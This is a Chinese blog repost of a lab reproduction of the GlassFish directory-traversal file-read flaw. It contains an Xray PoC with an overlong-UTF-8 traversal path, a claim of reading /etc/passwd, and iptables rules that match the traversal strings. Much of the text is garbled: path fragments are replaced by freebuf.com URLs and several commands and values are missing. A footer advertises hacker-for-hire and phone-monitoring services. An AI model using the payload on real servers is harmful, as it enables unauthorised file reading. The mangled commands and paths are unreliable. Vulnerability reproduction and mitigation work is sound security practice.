GlassFish 任意文件读取漏洞复现

访客4年前黑客文章340

GlassFish 任意文件读取漏洞

漏洞原理

glassfish 是一款 java 编写的跨平台的开源的应用服务器。

java语言中会把 解析为 ,最后转义为ASCCII字符的(点)。利用 来向上跳转,达到目录穿越、任意文件读取的效果。所以 glassfish 这个 poc 实际上就是//https://www.freebuf.com/articles/etc/passwd。

影响版本:

< 4.1.1(不含 4.1.1)

漏洞复现

如下测试环境借助 vulhub 的 docker 镜像,附上 P 师傅的链接:https://github.com/vulhub/vulhub?

编译、运行测试环境,本环境超级管理员密码在 中设置,默认为 ,在4848端口利用该密码可以登录管理员账户。

docker-compose up -d

环境运行后,访问 和 即可查看 web 页面。其中,8080 端口是网站内容,4848 端口是 GlassFish 管理中心。

1608813484_5fe48bac317fb634489de.png!small?1608813483816

无需登录,直接访问 ,发现已成功读取 内容:

1608813535_5fe48bdf14e8708d27904.png!small?1608813534445

POC & EXP

如下是 Xray 的 POC,其只穿越了上级目录,检测了版本信息,不涉及敏感信息,但同样也验证了漏洞存在。

name: poc-yaml-glassfish-cve-2017-1000028-lfi
rules:
  - method: GET
    path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF
    follow_redirects: true
    expression: |
      response.status==200 && response.body.bcontains(b"Ant-Version:") && response.body.bcontains(b"Manifest-Version:")
detail:
  version: <4.1.0
  author: sharecast
  links:
    - https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0

1608814260_5fe48eb405664e92282ca.png!small?1608814259302

漏洞修复

1. 关闭远程管理关闭远程管理,关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启 GlassFish 服务

https://www.freebuf.com/articles/web/asadmin change-admin-password https://www.freebuf.com/articles/web/asadmin disable-secure-admin https://www.freebuf.com/articles/web/asadmin stop-domain https://www.freebuf.com/articles/web/asadmin start-domain asadmin.bat change-admin-password asadmin.bat disable-secure-admin asadmin.bat stop-domain asadmin.bat start-domain

需要注意的是,关闭远程访问只能禁用远程 login 登录,但是攻击 url 还是可以访问,任意文件读取依然存在

2. IPtables 规则

iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP  
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP  
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string 'https://www.freebuf.com/articles/' -j DROP   
//该规则无法防御HTTPS SSL方案

3. 禁用 web.xml theme 映射\glassfish4\glassfish\lib\install\applications__admingui\WEB-INF\web.xml

<!--
    <servlet-mapping>
        <servlet-name>ThemeServlet</servlet-name>
        <url-pattern>/theme/*</url-pattern>
    </servlet-mapping>
-->

重启 glassfish 后生效

参考资料

  1. https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904

  2. https://vulhub.org/#/environments/gitlab/CVE-2016-9086/





相关文章

手机通话详单怎么打印出来(家里电脑怎样查手机通话详单)

手机通话详单怎么打印出来(家里电脑怎样查手机通话详单) 据海关总署办公厅官方通报,深圳海关沙头角海关查获一名女子,该女子腰间走私了64部旧苹果iPhone。 据介绍,今年9月1...

绝地求生8月12日更新维护公告 吃鸡最新更新维护时间

绝地求生8月12日更新维护公告 吃鸡最新更新维护时间

最近玩绝地求生这款游戏的玩家都在问,游戏8月12日更新的内容是什么,更新的时间是多久?根据官方的消息,本次更新的时间是早上10点,更新内容非常的少,是优化服务器,小编我特意整理了相关的资讯,下面就是蚕...

在哪里找黑客帮查ip-黑客可以解防沉迷吗(黑客解除防沉迷系统软件)

在哪里找黑客帮查ip-黑客可以解防沉迷吗(黑客解除防沉迷系统软件)

在哪里找黑客帮查ip相关问题 黑客解防沉迷的网站相关问题 黑客如何套利 对方盗了我微信账号能贷款吗(支付宝怎么查对方账号)...

婚姻无效申请书范文怎么写 哪些情况婚姻无效

婚恋问题必须根据破产法来开展处理,沒有依据法定条件完婚的婚姻生活,在中国便是违反规定完婚个人行为。婚姻无效申请书范文要怎么写?什么状况婚姻无效?下边就详解。 【我强烈推荐】:三观不同的人能结婚啊 怎...

作为一名黑客应该买什么样的电脑(黑客应该看什么书)-有没有黑客软件可以监控手机的

作为一名黑客应该买什么样的电脑(黑客应该看什么书)-有没有黑客软件可以监控手机的

作为一名黑客应该买什么样的电脑(黑客应该看什么书)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网...

万圣节面具致儿童性早熟是怎么回事 如何给孩子选购安全的玩具

万圣夜立刻就需要到,有的小孩子会玩性大,扮各种各样地狱恶鬼的角色,戴上形态各异的面罩,殊不知最近在网上常常说,这种“扮鬼”面罩很有可能有害,非常容易造成 儿童早熟,这又是什么原因呢?下面和我一起来了解...